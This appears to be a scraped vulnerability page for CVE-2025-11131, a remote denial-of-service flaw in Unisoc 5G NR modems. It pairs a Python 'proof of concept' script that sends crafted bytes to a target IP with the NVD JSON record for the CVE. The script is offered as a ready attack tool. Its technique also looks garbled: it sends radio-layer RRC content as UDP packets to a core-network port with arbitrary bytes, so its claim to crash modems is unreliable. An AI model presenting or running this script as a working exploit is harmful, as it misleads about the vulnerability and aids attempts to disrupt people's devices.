CVE-2025-11131

import socket import struct # CVE-2025-11131 PoC - NR Modem DoS # Target: Unisoc 5G NR Modem # Attack Vector: Malformed NR Network Message def create_malformed_nr_message(): """ Create a malformed NR RRC message to trigger input validation vulnerability """ # NR RRC Connection Setup message with malformed parameters msg = bytearray() # Message Type: DL-CCCH-Message msg.extend([0x00, 0x01]) # Message Content - Malformed DL-CCCH-Message msg.extend([0x00, 0x02]) # CRITICAL: Malformed IE with invalid length msg.extend([0x00, 0x7F]) # Invalid IEI msg.extend([0xFF, 0xFF, 0xFF, 0xFF]) # Invalid length field # Additional malformed data msg.extend([0x00] * 128) return bytes(msg) def send_exploit(target_ip, port=38412): """ Send malformed NR message to target """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_malformed_nr_message() try: print(f"[*] Sending malformed NR message to {target_ip}:{port}") sock.sendto(payload, (target_ip, port)) print("[+] Payload sent successfully") print("[*] Target NR modem should crash") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_11131_poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)

{"cve": {"id": "CVE-2025-11131", "sourceIdentifier": "[email protected]", "published": "2025-12-01T08:15:46.033", "lastModified": "2025-12-01T19:30:05.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In nr modem, there is a possible system crash due to improper input validation. This could lead to remote denial of service with no additional execution privileges needed"}, {"lang": "es", "value": "En el módem nr, existe una posible caída del sistema debido a una validación de entrada inadecuada. Esto podría conducir a una denegación de servicio remota sin necesidad de privilegios de ejecución adicionales."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8100:-:*:*:*:*:*:*:*", "matchCriteriaId": "F2DA04F2-5351-4043-A330-5397E627A222"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8200:-:*:*:*:*:*:*:*", "matchCriteriaId": "FC033D2C-ED1A-4EAB-A77B-8E1C88C74B0A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8300:-:*:*:*:*:*:*:*", "matchCriteriaId": "DC7743D5-B187-48D4-BC77-D8DCDF263166"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t9100:-:*:*:*:*:*:*:*", "matchCriteriaId": "9D1F3B9D-142F-4E70-8477-E26D921EF19A"}]}]}], "references": [{"url": "https://www.unisoc.com/en/support/announcement/1995394837938163714", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}